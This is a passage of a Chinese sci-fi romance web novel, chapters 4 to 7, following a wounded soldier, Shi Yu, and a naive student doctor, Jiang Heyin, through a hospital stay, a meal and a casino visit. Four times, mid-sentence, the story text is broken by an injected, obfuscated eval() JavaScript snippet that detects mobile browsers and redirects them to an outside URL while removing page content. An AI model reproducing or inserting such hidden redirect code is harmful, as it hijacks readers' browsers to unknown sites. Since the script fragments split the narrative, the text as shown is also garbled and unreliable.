江鹤吟的状态与昨天截然不同,他不再是那副哭啼啼脏兮兮的模样,硬气不少,像是人类文明给他带来了充足的安全感,时与盯着他,他就直接看回去,一句话顶的不咸不淡。 ——当然是装的,世界上怎么可能有这么有种的人,任谁被这么个alpha凶巴巴盯着都要心虚气短。 确实很有压力,他见时与面色不虞,借口罩的遮掩舔了舔嘴唇,终于还是诚恳道:“我认真的,很感谢你昨天的帮助,今天选外科也是特地来等你,我觉得你肯定会来,毕竟你闻起来真的太糟糕了,我还是第一次闻到这么重的血味……” 以前确实没闻过,但今天在八星闻了个够。 时与懒得和他计较,挠挠头发随口应付:“没钱。” 江鹤吟:“你刚才要最贵的药……” 时与:“攒的,我们小小中士买药一次药正好攒一年。” 江鹤吟:“我帮你付。” 时与不接他的话茬,食指微弯敲敲桌子,又将刚才要的药物念了一遍。 三、二、一。 江鹤吟没回应,时与起身便走,开玩笑,诊室多的是,何必在这一间里头吊死,今天碰见他算她今天霉运当头。 …… 诊室的门是开着的,时夏抱臂倚着门框看她,下巴对着诊室中央那椅子轻轻一抬。 时与站起来,时与重新坐下,时与摆了张臭脸:“办住院。” 江鹤吟点头,调出页面:“姓名。” 时与消极抵抗:“时间的时,给予的予。” 江鹤吟哒哒哒敲上文字:“公民ID。” “x747559510sdg961,”她熟练报出一串许久没被提起的ID号码,看到江鹤吟一按回车,眼睛在页面上出现的大串内容上扫视,似乎是在确认她的情况。 好像看到什么,他轻轻皱眉,着重念了下军衔栏:“上士。” 时夏倚着门,乍然听到他念这个,投进来个奇怪的眼神。 时与则一拍脑袋,好像恍然大悟似的:“上士啊?哎呀忘了,不好意思。” 江鹤吟倒也不至于连敷衍都听不出,他麻利将程序写完,在缴费栏输入自己的ID号码,动作很快,连具体费用都没有细看。 很快一个小小的凭据从旁边打印出来,他拿来,眼睛随意检查浏览,随即有点惊讶道:“怎么这样,你们病房最高等竟然是两人间……alpha可以住两人间吗?” ……住院可是70%报销,时与想,真开单间他们得把这当宾馆。 “尉官以上才有单间。”她要去拿那张纸条,却被江鹤吟先伸手按住,向旁边一滑。 他又开始操作他的系统,说道:“你等一下。” 很快又有一张新的凭据打印出来,于是时与转而去拿这张来看,发现上面是个不认识的名字。 “江鹤吟……”她疑惑,“你的?” 江鹤吟点头,把她那张也一块儿给她:“16区B栋二十五楼25063,二人间你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488220|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人住,舒服一点。” 二星少爷的心思实在很怪,时与拿着纸条,明白他这是要用自己ID帮她占一个空床的意思,但依旧觉得摸不到头脑。 怪,alpha和beta可以安排在一起住双人间吗? 她记得不行来着……怎么回事,因为他的ID在八星没注册所以卡了BUG? 她闭嘴翻过两张纸条看,确实是一个房间没错,江鹤吟不知道她看什么,以为她先前说没有钱,现在也是想看看缴费栏,说道:“没关系。” 两人的思维完全不在一条线,他这么一提,时与还以为他这个“没关系”是用了点小小的违规手段,小手段在军部中并不罕见,因此她立刻福至心灵,沉默将两张纸条收到口袋里。 见时与接受好意,江鹤吟觉得功德圆满。他这会儿终于开始给时与开药了,按照她方才报的那串药品一股脑开了一堆,又继续输入自己的ID,让时与真真切切享受了一回免费医疗的福利。 一直从头将药开到尾,他这才满意,终于放她出去。 —— 去药房抱来一堆药,又被时夏押着往病房走,两人都有点沉默,时与肩膀一动,衣领和脖颈之间突然凭空趴上一只小猫,爪子在皮肤上扒两下,张开嘴在她的锁骨上猛咬了一口。 时与:“不是,没骗你,我冤枉!” 时夏接过她手里的药,白眼道:“我是聋子吗?血腥味好浓、创面很大……都听见了。” 时与:“他胡扯,二星来的肯定看谁都得住院,我绝对健康啊,你看我活蹦乱跳四肢健全。” 时夏嘴角下撇不理她,他最不喜欢听时与的鬼话,但又无力改变什么,小发雷霆了一下后心里又翻起一股难过,知道她是不想让自己担心,劝说道:“你不要这样,我不想你再有危险。” 时与摸摸小猫头,把它从身上拔下来:“我青年期结束就退役,跟你保证过的事,绝对不食言。” “我说的又不是这个。”时夏与她一起走,一直将时与送到二十五层,推开双人间的门,这才想起来一开始是想问什么,道,“怎么想起来用旧ID?” 房间应该许久都没通风,里面消毒水的气味很重,时夏嫌弃地退了半步,伸手扇了扇鼻子,时与更是仿佛被这味道打了一拳。她开着门,先走进去将里头的窗户也全部打开,吸了口凉风:“群众里突然冒出个大校被押着住院……听起来好丢人,感觉第二天就会被所有人指指点点。” 时夏无语:“打扰你走专区通道了是吧。” 时与:“一世英名会毁于一旦……” 脑袋上砸过来一个轻飘飘的药盒,时与做作的“哎呀”一声,凄凄惨惨嘟嘟囔囔说自己是病人,时夏不理她:“我午休快结束了,要让歌蒂陪你吗?” 歌蒂就是他那只黑足猫,小男孩闲着无聊,连精神体也要起上七八个好听的名字,最近几年都叫歌蒂。 “谢谢你,”时与先捡起地上的药扔回床上,背手扶着窗框吹风,“拿我当小孩哄呢,好弟弟,我才是姐姐吧。” “好吧,那我走了。”时夏听她这样说只好放弃,走到门口,突然又回过头,“不许偷偷出去玩,好好休息。” 时与没说话,“啪”地立正,笑嘻嘻给他敬了个礼。 5. 第 5 章 待在病房很无聊,时与翘着脚躺在床上嚼她的蛋白棒,她同苏鸿聊了两句,要她洗干净明天钱包等自己大驾,然后拒绝了苏鸿的游戏匹配申请,关上消息,眼皮开始打架。 苏鸿以前笑话她像个逃荒的难民,总习惯抓住一切时间吃东西和补觉,显然如今毛病又犯,病房里安静又安全,她打个哈欠,放任自己的感受,很快就昏昏沉沉进入梦乡。 睡得不算多好,闭眼尽是光怪陆离的画面,很清晰,不太美妙。她梦见许多年没见过的狭小肮脏的地下室,脏兮兮的大人抱着脏兮兮的孩子,有婴儿在尖声哭泣,鼻腔里传来小诊所那股令人窒息的刺鼻气味,阴森森的感受合并成一阵风暴将她裹挟其中。 她已经很久没再想起过这些事,幼儿小小的身影站在密密麻麻的人群中间,即使是现在也依然还是觉得手脚冰凉。身边的大人逐渐长成高大的树遮住所有光,她不敢动,藏在影子里,但这没有用处,一千只眼睛盯在她的身上。 邻居们大声叫嚷,一群人围着她,抓着她的头发将她不停按倒在消毒水的大桶里,高声喊着驱逐的话,那些话语并不清晰,传不进耳朵,只知道充满恶意。 “刺啦——” 时与的手紧紧抓着被子,一床薄被几乎被她撕裂成两截,她猛地从床上坐起来,大口大口喘息。 江鹤吟被她突如其来的举动吓了一跳——每次见面都要被恐吓一下,他都快有点习惯这个流程了,见她额角有汗水冒出来,问道:“噩梦?” 时与:“……。” 时与:“……?” 时与见到他也一愣:“……你在这干什么?” “我下班了,路上刚好看到有岔路,就来熟悉一下明天的工作环境。”他好像不觉得随便闯进一个alpha的病房有什么不好,话语之间仿佛两个人很熟了似的,拿起手中的清洁布向她晃了晃,“有点落灰,我没见到打扫的按钮,先帮你擦一下。” 外面的天色已经变暗,正对面的外墙的信号灯还亮着,时间不超过九点。屋里门窗被关得严严实实,那块清洁布估计是新的,上面消毒剂的味道不算很重,但时与还是很抗拒地捂了捂鼻子,她扭过头:“别擦了,反正没人用,把你那块破抹布扔一边去。” 手指一动,脆弱的纺织品又发出一声小小的哀嚎,她低头看看被她扯得裂开的被子,团吧团吧丢到一边,翻身走下床来,先将两扇窗户完全敞开通风,这才拖拉着拖鞋去抽走了另一张床上完好的被子,抱怨道:“不要关窗。” 这漂亮的少爷简直没有边界感,绕在人身边阴魂不散的,一点不考虑别人,净做些感动自我的大好事,知道关窗,但又不知道关窗帘,就离谱。 时与重新躺上床闭起眼睛赶客,江鹤吟却没有任何要走的意思,依旧站在那里,甚至见她躺上床还又走近了些。 时与躺着不动,他观察了两下,情绪很稳定的默默坐下继续盯着她看,也不说话,就守灵似的等。 两人就这么僵持了几分钟,最终还是时与没憋住认了输,她睁开眼睛:“大哥,你要干什么,能不能放了我,我昨天是在垃圾堆里挖了个田螺姑娘吗?” 时与:“田螺少爷?” 江鹤吟口气很无辜:“我想看看你伤的怎么样。” 时与坐起来,指指窗外:“你不给我开住院的话我今天就痊愈了,劝你实在闲的没事就去找个卡车爬着玩,别来搞我。” 江鹤吟道:“你今天不让我看,明天也还是要让我看的,我轮值。” 时与又不搭话了,她很少有这种词穷的感觉,烦躁挠头,心说这和你轮不轮值有什么关系,有够烦人。 江鹤吟双膝并拢,手指在熨烫整齐的制服裤上磨了磨,见时与翻过身背对他不说话,主动换了个话题:“今天陪你一起去医疗部的是你爱人吗?” 时与没好气道:“弟弟。” “他晚上还会来吧,”江鹤吟幽幽说,“我待会儿拜托他来劝你。” 时与捶床:“你有病吧!?” 好凶恶,江鹤吟向后一缩,有点怕她狂性大发过来打他。 时与自认是个坏东西,但倒不至于对这种娇弱beta动手,但也正因此才更觉得满肚子恶气无处发。她深吸气,见他还是摆了一脸老实巴交的样子,终于认命似的向后一靠倚住后墙:“我都包好了,纯外伤,内脏没问题,你想看我就拆下来,看完别再找我麻烦,能做到吗?” 江鹤吟矜持点头。 时与脱掉上衣,衣衫之下胸腹全被绷带缠起来,有股药味儿,包扎手法相当熟练,到最后甚至颇有意趣的给自己挽了个花。 让病患自己来解绷带实在有点不方便,江鹤吟上前矮身帮她拆开,时与偏头先确认了一遍桌上剩的绷带还够再缠一次,这才抬起手随他去动弹。 江鹤吟说:“我带了我们那边的药来,你可以试一下。” 时与:“嗯嗯嗯嗯谢谢谢谢。” 伤口上撒了止血的药剂,稍微有些泛黄,江鹤吟早有心理准备,但还是被她身上这样纵横的伤口惊到。 这可不像是能放任她爬上爬下自由活动的伤。 这家伙是什么品种,狂战士吗,越掉血数值越强? 他将伤口晾开,去翻随身的挎包,从中取出一个精致的喷瓶来,紧接着从伤口的边缘开始给她均匀仔细地又喷了一层药。 这药冰冰凉凉没什么刺激感,时与看着他头顶,突然问道:“你不是医师吗,为什么来住院部轮值?” 江鹤吟:“没有啊,我是学生,本来就不该去门诊,就是在这里转才对。” “老师之前说外科辛苦我们学生可以做一休一……你们这里真离谱,从没听说过在住院部轮值算休息的。” 时与听他抱怨,“哦”了一声。 她好像对这里很了解,仰起头盯着天花板上的灯看,对他解释道:“这里确实用不到什么人,白天有护理机做事,你想走就走,晚上也不用管,碰见打架的就让应急安保把人撵出去,就这么简单。” 江鹤吟拿过旁边新的绷带,小心翼翼为她重新缠起来:“你怎么知道?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488221|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时与:“被撵过。” 江鹤吟被她逗笑了:“那我明天可以来陪你。” ……什么叫可以来陪她。 天杀的二星人,时与额头上青筋一跳,特地给他铺垫上可以翘班的信息,这傻狗最后竟然能得出这么个结论来害她。她仿佛乍然被天花板上的灯晃了一下,低头开始捏鼻梁,恨自己拿捏不准人心就多嘴多舌乱说话。 时与道:“不好意思不太习惯你别过来,而且正常来说你应该自觉离alpha远一点。” “是吗?可是我认识的alpha好像都很喜欢让我陪……”他摸摸自己颈侧,有点不能理解时与的话似的,对自己的想法十分坚持,“而且我是医生。” 时与:“不要。” 江鹤吟:“旁边床位也是我的,你现在盖着我的被子。” 时与捶床。 她就知道免费没好事!! 别人这么说或许还是客套,但这个脑回路邦邦硬的家伙既然开口那明天就绝对会来找她,她咬牙,心说船到桥头自然直,真alpha就应该摆脱beta的羁绊说玩就玩说走就走说溜就溜。 江鹤吟倒也不是责任心太强,他来这边三分靠负责,剩下七分则要怪到无聊头上。第八星军部分配给他的宿舍一看就有些年头,面积不如自己家的厕所大,房间看似是单间,但中间的墙却像是纸糊的似的,连隔壁讲话的声音都能听到,此时下班回去肯定吵吵嚷嚷,他不太愿意回去。 随身的脑机断了网,他又是插班来的,同行的人只有几个能勉强认识,其他的叫都叫不上号,可以说是网络和现实的朋友一个都找不到,讲话都没得讲。 来八星这么两天,让他觉得最熟悉最有意思的也就面前这个alpha了。 时与又不理他了,此时正默默规划明天的逃跑线路,扣着手指在脑机地图上对餐馆画圈,着还挺岁月静好。 这样子看到江鹤吟眼里还挺新鲜,他托着下巴看她,觉得她人似乎不坏,身手也很不错,可惜军衔不高,再结合以前听过的故事,猜测是因为她原本的身份不好,晋升比较困难——这很正常,别说第八星,就连公正繁荣的第二星也是同样。 好可怜。 时与根本一个字都没说,江鹤吟自己在那思维发散,此时已经对她莫名升起点怜爱来。 不知道能不能把她也一起带回第二星去,至少生活会好一些吧,在哪里当兵不是当。 ……这种小事,姐姐应该会同意? 哦,对,姐姐。他想起来了,时与还有个弟弟,那这两个人应该一起被带走才好,不知道弟弟是做什么的。 时与哪能知道江鹤吟离谱程度远超她的想象,此刻已经开始考虑把她当第八星土特产打包带走的弱智事,她标记完打卡点,又去忧郁地检查身上的新绷带,缠的很好,就是有点厚,不太方便行动,这身行头裹着,明天肯定会被苏鸿指着鼻子嘲笑。 有一搭没一搭又聊了会儿天,一直到时夏快下班,时与才把江鹤吟打发走,翘首期盼自己的好弟弟给自己带加餐。 6. 第 6 章 alpha每天要消耗的能量大概是beta的两倍,因此时不时感到饥饿是一种非常正常的现象,但很显然,并不是所有alpha都像时与这样注重口腹之欲,他们往往对精神或身体上的刺激追求更多,毕竟战场九死一生,出生入死后回来只想吃点好的听起来实在很low。 当然时与对此振振有词,认为吃喝嫖赌能够并列在一起必有它的道理——事实上也确实如此,如今新鲜的蔬果和肉类在哪都是奢侈品,在第八星尤其是,她几乎将津贴和工资的一半花在吃吃喝喝上头,剩下的则都打在时夏的账户,免得哪天死了开不出证明,财产被迫充公。 时候尚早,前一天值夜的医师还没换班,苏鸿已经给她发消息,说车停在A栋十三层,她催时与快点,最好是她眼睛一闭一睁时与就立刻出现在车前。 时与打开对话框,给她发回消息:[滚蛋。] 苏鸿:[哇塞,好狂啊大姐,我真走了。] 那不行,时与立刻滑跪三连。 时与:[别走,错了,求求你。] 时与:[十分钟,我不到我是狗。] 一骨碌从床上爬起来,她想了两秒,四下看看,最终在病房最显眼处放了个“回家一趟”的信息,然后便大摇大摆关上门往外走。 人不能想象认知以外的事,因此她丝毫不知道这做法能让第八星之外的医护血压升到何种高度,只觉得这理由很充分——瞧瞧,回家,多安全多可靠的去处。她哼哼两声感觉万事大吉,经过走廊时甚至还心情颇好的摸了摸路过的机器护理。 十六区是百年前就建立完善的老区域,但规划上有些混乱,从窗户向外看,建筑密集到几乎看不到天顶,到如今经过不断更替,其中的许多又已废弃或者重新做了改建,它们就乱七八糟却也错落有致的竖在那里,迷宫似的,无人机都难飞,却实在是个适合蜘蛛结网的场地。 时与推开窗户,一只脚踩上窗框,紧接着半透明的蛛丝凭空浮现,从窗户上沿一直延伸到另一头黑色高楼的外墙,整段蛛丝在阳光下略微泛出金光。 普通蛛丝的直径小到以微米为单位来计量,这根却不同,看外表便知道强度载个人绝对绰绰有余。她手上用力扯一扯,吹声口哨便预备即刻进行一次楼宇穿梭,忽然却听到走廊中有脚步声响。 汗毛一竖,后背一凉。 就……感觉很不祥。 她眼神死,心中隐隐有所预料,扭头果然看见来的是个熟悉的银发人影。江鹤吟满脸惊异的在走廊的转角站定,表情像是见到了什么叛逆病患跳楼的现场似的,瞳孔地震、一脸慌张。 应当是刚刚与人做完交接,他顿了一下,立刻就去掏应急安保的控制器,手指起落开始输入封锁的指令。 时与当然认得出他要干什么,紧急撤回一只伸出去的脚,心想靠啊,干他大爸,这能乱按吗,这小子真想害我。 未免误触,这里每个指令都被设计成一串不长的代码,江鹤吟还没来得及按完,便看到一个漆黑的物件凌空飞过来,紧接着手上一痛,控制器被黑影打落在地,他下意识向后闪躲,后知后觉叫了一声,然后才看清楚丢过来的是个护理手环——破破旧旧的,是住院部的病人统一配备的那种型号。 时与看着他,心头冒出的感受已经不是烦,而是一种“果然如此”的宿命感,很对,这样才合理,她就知道一切不会这么顺利。 好危险好紧急,简直头皮发麻,她先开口尝试和麻烦精交涉:“那个什么……” “你冷静点行不行,那个钮不能乱按。”她说,“我病房里留了消息,现在有事,回个家,你自己玩,拜拜。” 江鹤吟捂着手按了按,觉得有点痛,再听时与的话,表情显然扭曲了一下。 这人说的都是什么东西! 他不理会时与的“解释”,重新伸手去捡地上的控制器,手指刚摸到上面的软钮,另一头便被时与按住。她好像能瞬移似的,明明上一秒还半踩在窗口上,下一刻竟然就出现在他眼前,硬生生将控制器夺了过去,江鹤吟到此时终于崩溃了一小下:“你在干什么!” 苍天,这可是住院部的走廊。 分贝太大也会有触发紧急警报,时与怕他又吵,身体比脑子反应的更快,下意识便直接将他按倒在地上,一只手捂住他的嘴巴:“你有点素质,吆喝什么,嘘嘘嘘嘘!” 江鹤吟:“唔唔唔唔唔!!” 时与:“哎呀你至于吗。” 稍微有点尴尬,时与将控制器丢到一边,竖起一根手指:“商量一下,我松手,你小点声,行不行?” 江鹤吟瞪她,江鹤吟沉默,江鹤吟点头。 手慢慢松开,温热的呼吸打在掌侧,他深深吸气平复自己的心情,刚准备开口,却不想嘴巴张到一半就又被狠狠闷住了脸。 半个音节被吞回去,他这时才抓着时与的胳膊挣扎起来,对她又踢又拍,时与怕把他憋死,手轻轻松开一点缝。 江鹤吟打她的小臂:“你干什么!” 时与:“不好意思,看你深吸一口气,还以为你要尖叫。” “你好讨厌!”他往下扒她的手,没拉动,又去掰她的手指,“松开……松开!!” 少爷好像又有要哭的意思,时与松手,便见他两颊上带着一点浅色的手指印痕,果真红了眼眶。江鹤吟转过脸去抹了抹眼角,时与有点惊讶,心想活久见,第二星连beta都能娇嫩成这样。 这回可怎么推脱都是她的锅,赖不到别人身上,时与如坐针毡,不知道该怎么安慰他才好。 两人很不成体统地缠在地上,她凑过去要看他,江鹤吟就又往旁边扭,时与拿这种情况最没办法,只好软下声音,好声好气道:“你别哭,哎呀,别哭。” 恰好苏鸿又发消息过来催她,不用看就知道肯定不是什么好话,她突然灵光一现,拉过江鹤吟两只袖子:“你想不想出去看看?” “嘿?”时夏很少这样同她闹别扭,她实在没什么经验,只好强硬地将人转回来,循循善诱,“八星的军部还是挺没意思的,但我们可以出去看看,我请你吃饭,怎么样?你当初来这里不就是想散散心的吗,和我一起去,好不好?” 苏鸿给时与发了定位,她的车停在十三层的正中,被她改装的花里胡哨,远远看上去像她本人一样显眼。 时与敲敲车窗,近红外光扫过虹膜,车门自动开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488222|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 启,苏鸿穿了个松松垮垮的大T恤,正躺在侧边的沙发上玩游戏,两只脚快要翘到天上去。 她手里是个样式很复古的掌机,应该又是不知道什么时候从旧市场淘来的新鲜破烂,见车门打开依旧头也不抬:“九分三十二秒,老大,差二十八秒就进化成犬科了,刺不刺激。” 时与沉默走进来,一反常态没反驳她的话,苏鸿挑眉,仰起脸,这才发现来人不止一个,时与身子一歪,露出后面跟着的那漂亮青年来。 对方身材高挑,银色的头发低低扎成一束,皮肤很白,两颊微红,长得像个相当昂贵的bjd模型。他对苏鸿微微欠身,露出个得体却也拘谨的微笑来,跟着时与上了车。 苏鸿一愣,见到他的那瞬间猛地睁大了眼,目光在二人身上来回逡巡一遍,最后定格在时与脸上。 时与一屁股坐到她旁边,拍拍她的大腿:“起来,坐直,礼貌点。” 苏鸿好像慢动作似的直起身坐好,抽出钱包,拿了一个折角的十块钱递到时与手上,江鹤吟与她们面对面,车上的三个人里两个人都很局促,众人沉默,不知道该说点什么。 车门闭合,确认好目的地后自动启动,速度很快就提升到安全驾驶与超速的临界点,窗外景色飞驰而过,苏鸿向着时与那边挪了挪,撞撞她的肩,对她挤眉弄眼。 脑中一连串的消息发送过来,全是问号,间或有感叹号夹杂其中,时与掏掏耳朵白她一眼,不理会她的疑惑,问道:“先去哪?” 苏鸿:“……中心区那边?” 时与:“好呀。” 苏鸿也不知道她在好个什么东西,只好放弃追问,手边圆桌轻轻响动,升起三个造型奇异的玻璃杯来,里面各装着半杯偏白色的液体,应该是什么能量饮料之类,她勉勉强强记起待客之道,给两人一人发一个到手上,江鹤吟道了谢,问道:“去中心区会花很长时间吗?” 时与舒舒服服往后靠,伸个懒腰:“嗯哼,还好,大概一小时吧?走两个小虫洞很快就到。” 小虫洞是星球内部短程跃迁的通道,如今已经是维系联邦各星内部交通的枢纽,江鹤吟当然知道这个,眨眨眼,抿了一口手中的饮料。他总有种第八星贫穷落后的印象,但事实看来好像也没有那么糟。 有种怪异的割裂感。 时与给的时间果然准确,从军部到中心区只花了不到一个小时,军部所在的时区还是白天,这里却已经是深夜。繁复华丽的灯光投影交替闪烁,一个人造的半天幕挂在上空,隔离开下方城市不想要的风霜雨雪,场景不够优雅高级,处处透露出异世赛博的味道,像没什么底蕴就直接跑步进入科技社会的土大款。 车绕着螺旋的阶梯下到地下区,里面早有穿着得体的服务生在等候,三人下车,跟着指引坐上电梯,江鹤吟小声与时与讲话,他说:“我以为你很穷。” “我很穷啊,”时与插着兜,好像一点也不避讳这个,也没特地压低声音,对苏鸿抬抬下巴,“今天有有钱人请客。” 电梯上行,一直升到顶层,电子屏幕闪烁,时与摆出服务生的架势笑嘻嘻引他出去:“走啦。” 她说:“吃点东西带你去玩好玩的。” 7. 第 7 章 独自跟两个不知底细的alpha出门到底还是有些令人心慌,江鹤吟落座后又反复确认了好几遍自己的抑制贴是否还牢牢粘在后颈,他带着一个小手包,里面有他的各种实体□□和一瓶小小的除味剂,捏在手里握的已经有些热意。 不过这两人好像都没那么在意他这边的情况,她们应当是提前订好了菜,不过一会儿功夫,桌子上已经被堆的像一座小山,而随着一道道稀奇古怪的菜品被摆上桌,他的紧张感也逐渐消失,慢慢等比例转化为疑惑。 他放下手中刀叉,看着一碗正在冒泡的浓郁汤汁,表情莫测:“这个是什么菜系?” 时与:“克家菜。” 江鹤吟默然无声。 时与:“……好的看起来是有点刺激,但你不能只看外表,吃起来还不错,真的。” 苏鸿憋了一路,终于听不下去,在桌下踢时与的腿。 她抬头,将眼睛从自己的小掌机里拔下来,看了看那盆汤,显然比在场的另一位alpha更通人性一些,此时没顺着任何一个人说话,只是在桌边屏幕上点了点,便见桌面中央浮现出一份薄薄的电子菜单。 将菜单递给江鹤吟,手指滑下,指到几个挺清爽的名字,苏鸿道:“你选几个,都加也可以,我们吃的完。” 时与闻言开始怂恿:“听她的,都加。” 江鹤吟道谢。 他只从其中随意选了几个看起来不那么怪的,又将菜单还回去,苏鸿接过来,手指又在上头点点按按,把订好的酒都换成果汁,传给时与。 时与点击“确定”。 虽说烹饪方式有些过于前卫,但桌上都是些新鲜的食材,绿菜的叶子上有脉络,肉类切面有起伏的纹理,是绝对天然的材料。这还挺难得,时与嚼嚼嚼,心想待会儿要买一些生食带回去——也不知道家里的吃完没有,这次假期没来得及打开冰箱就被发配到了十六区。 结伴来吃这种鬼东西的alpha应该不会比她们吃的菜更危险——至少能确信她们的注意力完全不在自己身上。江鹤吟被一桌菜哄得放松了警惕,吃饭、上车、聊天、打了一盘游戏,回过神来就和她们一起站到了赌场的门口。 这行业在第二星是不合法的,早在百年前就被坚决取缔,虽然或许在哪个角落也藏着一间,但他显然没见过,乖巧的omega做过最叛逆的事就是偷偷摸摸来偏远星区做志愿并且不回家里的消息。 他手指捏着衣角,时与好像终于发现他状态不对,停下脚步等他,歪过脑袋问:“怎么了?” 她笑:“不去呀,难道你没成年?” 如今人类的寿命比起古时代早就又翻了一番,然而成年的年龄却降得比从前更低,abo分化后的第二年就算正式迈过成年人的门槛——大概也就十五六岁。江鹤吟显然已经成年许久,他只是觉得这地方危险,被家里人知道大概要关他禁闭,理智和冲动在脑内互相摆理由劝服,立场摇来摇去。 他的纠结摆在脸上,时与早就觉得他这样子好玩,没给他撤退的机会,直接上手拉过他的衣袖,拖着就往里面走。 “来啦,”她说,“体验一下平民们最刺激的活动,你回二星肯定碰不到这么合法合规的人类情绪大赏,过了这村没这个店,来不了吃亏来不了上当。” 江鹤吟拖着脚步,象征性表示拒绝,但又怕时与真以为他不愿意让他回去等,于是左脚后拖一步,右脚就立刻迈大一点赶上,半自愿半被迫地跟她走进去。 里面并不像他想象中那样充满烟酒和混乱,挑高的穹顶下建筑的风格与中心区其他地方格格不入,在绚烂浮靡的城市中竟有些庄重典雅。苏鸿动作很快,已经换好了筹码,她爱玩各式各样的游戏,连带赌博性质的也一样,见两人进来便将她那一堆筹码一摊,示意他们随意来拿。 时与运气很一般,碰见江鹤吟之后就简直算倒霉,运气坏的人不喜欢这种游戏,她来另有别的目的,于是懒得多拿,只从中抓了一小把。 “喏,”她挑出个最小的递给江鹤吟,“十块钱,你挣的。” 江鹤吟没明白他哪儿赚的十块,但还是接过来,苏鸿在一旁啧啧,对时与评价道:“小气的不得了。” “不能上瘾嘛,”时与又从她那边抓了一把塞到江鹤吟手里,对他嘱咐,“这个是有钱人请你的,输了就停手,不许回来要。” 手上的筹码面值大小不一,颠一颠就有清脆的碰撞声传进耳朵,江鹤吟当然好奇,他问:“可以玩什么?” “随便,”苏鸿带他们继续向里走,回答道,“没玩过可以去电子区,看哪个顺眼就玩哪个,我要去打牌。” 人不少,随着脚步逐渐深入,头上彩绘的穹顶换成富丽的灯,周围摆起了桌子,荷官在桌前发牌,好像也没什么不得了的东西。一如刻板印象,这里倒也有高壮的alpha在穿梭巡逻,但却没见到多少帅A靓O,反倒是中年的上班族更多些,间或还有几个花白头发的老人混在里头。 确实像人类极限情绪大赏,江鹤吟跟在时与身后左右张望,有人眉开眼笑,有人怒气冲冲,有人玩的脸红脖子粗,甚至豪掷千金后直接倒地的也有,保安呼啦啦过去将他围了一圈,引得周围人伸长脖子去看。 苏鸿自己走了,时与同他一起去电子区那边,耳边的音乐声不小不大,刚刚好不会觉得太刺耳,他也不知道该玩什么,于是就近随意选了一台机器,在前头坐下,自己拍拍按钮,抬头问时与道:“这个怎么玩?” 时与耳朵敏感些,觉得这里有些吵人,弯下腰听他讲话。 江鹤吟这问题问得正中她的盲区,她对着这台机器也有点沉默——这有什么办法,她又不爱搞这个,每次也就只是偷苏鸿点筹码过来拉个花,吃吃喝喝输光就走,哪知道这些都什么是什么。 她如实道:“不了解,你试一下,反正这里都是莫名其妙就赢或者莫名其妙就输。” 江鹤吟:“不是有什么手法吗?” 时与:“那种算进阶知识了吧,我不知道,我的技术仅限于此,你就随便按,真的。” 屏幕的界面看起来很土气,金色的图案一闪一闪,江鹤吟倒也没仔细看最小下注的金额,真像时与说的投进筹码乱按了一通,第一把还真莫名其妙赢了些。 奖券捧到时与面前,江鹤吟炫耀:“哇哦!” 时与鼓掌。 江鹤吟问:“你要玩吗?” 时与:“不要,碰到你我就倒霉,现在玩肯定会亏得很恐怖。” “那你走。”江鹤吟切一声,又重新坐回去,低下声音自言自语,“我好像有点能看懂这些按键了……” 赌博本来就只是个概率问题,机器让你赢的几率小于一,长久下去自然就要亏本,江鹤吟坐在那细水长流的玩,这玩法就更是亏本中的战斗机。 小男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488223|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩起来一惊一乍,别的不提,估计情绪价值是有了不少,时与站在一旁看他,不知道过了多久,可能有一小时,终于等到他彻底输干净,屏幕上变成个0。 他满脸郁闷,坐着转了一圈,对时与摊手,时与发出嘲笑声,凑到他近前看那块大屏,视线与他平齐。 “哇——”她声音贱兮兮,一个音节拐八个调,“好神奇,这个数字——竟然是→零↑诶↓。” 江鹤吟推着她的肩膀让她走开。 时与顺势拉他起来:“走啦,我们上楼拿喝的,今天13号,免费奶茶,赠完截止,这里饮品超绝赞。” ……还以为是为了什么,亏她刚才在门口介绍的一本正经。江鹤吟瞬间搞明白她来的目的,任她拉着,撇撇嘴,怏怏回头看了眼机器。 